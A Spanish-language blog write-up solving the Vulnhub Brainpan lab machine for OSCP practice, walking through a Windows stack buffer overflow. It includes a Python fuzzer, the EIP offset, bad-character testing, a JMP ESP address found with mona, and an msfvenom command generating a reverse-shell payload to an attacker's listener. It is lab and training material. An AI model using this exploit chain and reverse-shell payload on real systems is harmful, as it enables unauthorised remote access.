[Vulnhub]: Write-up Brainpan

Buenas de nuevo!

Tras una larga ausencia (la mayor desde que me uní a este blog) debido al proyecto personal de obtener la certificación OSCP (oh yeah), vuelvo de nuevo. Durante este tiempo, además del laboratorio del OSCP, me he pegado con una serie de máquinas que recomiendan en diferentes blogs/foros y me he propuesto compartir algunos write-up para que sirven de ayuda para la gente que tiene pensado prepararse la certificación o bien por pasar un buen rato. Entre estas máquinas destacan principalmente vulnhub y HacktheBox, especialmente esta última para jugar con Windows.

Antes de comenzar, os recomiendo que echéis un vistazo a los write-up de mis compañeros @naivenom y @nebu73 que han escrito varias soluciones de máquinas de vulhub como la serie de Kioptrix (muy didáctica) entre otras.

Vamos al lío!

En este primera entrada, vamos a ver la máquina Brainpan de vulnhub.

Enumeración

Para la parte de enumeración usaremos la herramienta rey: nmap

 

Vemos que tiene los puertos 9999 y 10000 abiertos.  Accediendo vía HTTP a ambos servicios nos encontramos con el banner de la máquina y otro sobre código seguro xd

Para la enumeración de directorios empleamos dirsearch y encontramos el directorio /bin en donde hay un ejecutable:

Parece que los tiros van por Buffer Overflow (BoF) para alguno de los servicios que están corriendo.

Antes de continuar, si quieres seguir la solución necesitas disponer:

  • Immunity Debugger
  • Integración de los scripts de mona en Immunity.
  • Entorno Windows donde ejecutar el binario descargado.

También os dejo como referencia:

Introducción básica a la interfaz de Immunity: http://www.reydes.com/d/?q=Immunity_Debugger

Canal de Julio Ureña sobre BoF – https://www.youtube.com/playlist?list=PLXm1FM6zsxpB0u6hZZVybu7Nbvt0xL87U

Preparación del OSCP by @s4vitar – https://gist.github.com/s4vitar/b88fefd5d9fbbdcc5f30729f7e06826e#buffer-overflow-windows

El objetivo es ejecutar el binario encontrado en nuestro laboratorio de Windows para identificar si dispone de alguna vulnerabilidad que permita ejecutar código para poder ejecutar contra nuestro verdadero target.

En primer lugar, ejecutamos el binario y vemos que levanta el puerto 9999:

A continuación, necesitamos crear un simple fuzzer que envíe ‘A’ contra el target para hacerlo crashear:

import sys,socket

victim = ‘YOURIP’
port = 9999

junk = «\x41» * 1000

payload = junk

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
print «[-] Connecting to » + str(victim)
s.connect((victim, port))
s.recv(1024)

# Send payload
print «[-] Sending payload…. «,
s.send(payload)
print «Done»

except:
print «[-] Unable to connect to » + str(victim)
sys.exit(0)

Antes de ejecutarlo, se adjunta el proceso brainpan.exe y se ejecuta. Se ejecuta el fuzzer haciendo que la aplicación fallé y que el registro EIP quede sobreescrito con todo A (0x41):

Cálculo EIP

El objetivo es conocer la longitud máxima de entrada justo antes de sobreescribir el registro EIP. Para ello, nos ayudaremos de las herramientas: pattern_create y pattern_offset.

pattern_create permite crear un string random donde no se repite ninguna secuencia de caracteres. Se usa para calcular el punto exacto donde quedará el offset cuando el programa crashea.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4A…..

Pegamos su salida en el fuzzer:

Lo que se logra es obtener el valor del registro EIP, es decir, la dirección en la que se produce la violación de segmento.

 

EIP: 35724134

Entonces ahora con pattern_offset creamos el valor máximo del input previo a la sobreescritura del EIP:

 

Entonces se sustituye el input del fuzzer con 524 A + 4 B. El uso de B es como prueba para ver que funciona correctamente al ver el registro EIP con valor 42424242

A lo anterior se pueden añadir «C» para ampliar el tamaño del buffer, siendo el valor de la variable junk:

junk: ‘A’ * 524 + ‘B’ *4 + ‘C’ * 5′

Ejecutándolo:

 

Se cumple el objetivo de sobreescribir el EIP con 4 ‘B’.

Bad Character

Para ciertos servicios existen algunos caracteres que no aceptan, provocando una ejecución errónea cuando generamos la shellcode. Estos caracteres se denomina bad character.

Para testearlo, se inserta en nuestro script el siguiente código:

 

Que se concatena al input de las 524 ‘A’ + 4 ‘B’.

Tras ello, se ejecuta el código y debemos comprobar en el Immunity si los caracteres continúan sin alterarse en el mismo orden o en cambio, tienen un valor diferente. Se revisa y se van anotando los que se comportan mal para quitar del fuzzer y se vuelve a ejecutar hasta que todos mantengan su integridad.

Como se observa después del «/x09» se ha colado un /x0D en lugar de un /x0A, por lo que se trata de un bad character.

Si os habéis dado cuenta, en la lista de bad character no se ha añadido el carácter /x00. Esto es debido que se considera por norma general como tal y se puede omitir en este proceso.

Salto al ESP

El objetivo es lograr que el registro EIP apunte a una dirección de memoria con permisos de ejecución en donde se encuentre una instrucción de salto, esto es, del tipo jmp ESP. De esta manera, ejecutará nuestra shell tras pasar por las instrucciones NOP’s.

Para ello, desde Immunity cargamos los scripts de mona:

!mona modules

Tenemos que buscar aquellos que tengan las protecciones de memoria deshabilitadas. Como se ve en este caso, directamente es el propio ejecutable.

Lo que nos interesa es identificar una instrucción de salto JMP ESP que se corresponde con un FFE4, entonces introducimos esa búsqueda mediante mona:

!mona find «\xff\xe4» -m brainpan.exe

Como se puede observar, se encuentra esa instrucción en la dirección de memoria 0x311712F3

Yendo a esa dirección, identificamos efectivamente la instrucción que buscábamos:

 

Generación shellcode

Ya tenemos todo lo necesario para generar la shellcode. Para ello, utilizaremos msfvenom. Recordad añadir correctamente la arquitectura del target y los bad character:

msfvenom -p windows/shell_reverse_tcp LHOST=YOURIP LPORT=443 -f py -v shellcode -a x86 –platform Windows -b «\x00\x0a» -e x86/shikata_ga_nai

 

Se pega la salida del msfvenom al código de nuestro script. Ahora, hay que:

  • Sustituir las ‘B’ por la dirección en Little Endian, esto es, en el orden contrario al que obtenemos de Immunity. En este caso sería: /xf3/x12/x17/x31
  • Añadir NOP’s (NOT OPERATION). Entre 8 y 16.
  • Shellcode

Siendo el código final:

Se lanza directamente contra el puerto 9999 tras previamente poner un listener en el puerto 443, pero fallaba…entonces tras revisar que no la hemos liado parda, se amplía el número de NOP de 8 a 16 y se lanza otra vez:

It works!

Genial va bien, entonces ahora hay que sustituir la dirección IP contra el target real: 192.168.0.170

Sin olvidar, hay que cambiar el msfvenom, puesto que el target era es un sistema operativo Linux.

Al igual que antes se pone el listener y se ejecuta, obteniendo la shell contra el target:

 

Ahora tocaría escalar privilegios, pero podéis deducir que si para obtener la shell hubo un BoF, ahora habrá otro pero en Linux! Pero eso ya lo vemos en otra entrada 😉

Espero que os haya sido útil.

PD: El objetivo de esta entrada es con fines académicos o de formación, no nos hacemos responsables de su uso para otro fin.

Nos vemos en la próxima entrad o cOn.

Saludos.

N4xh4ck5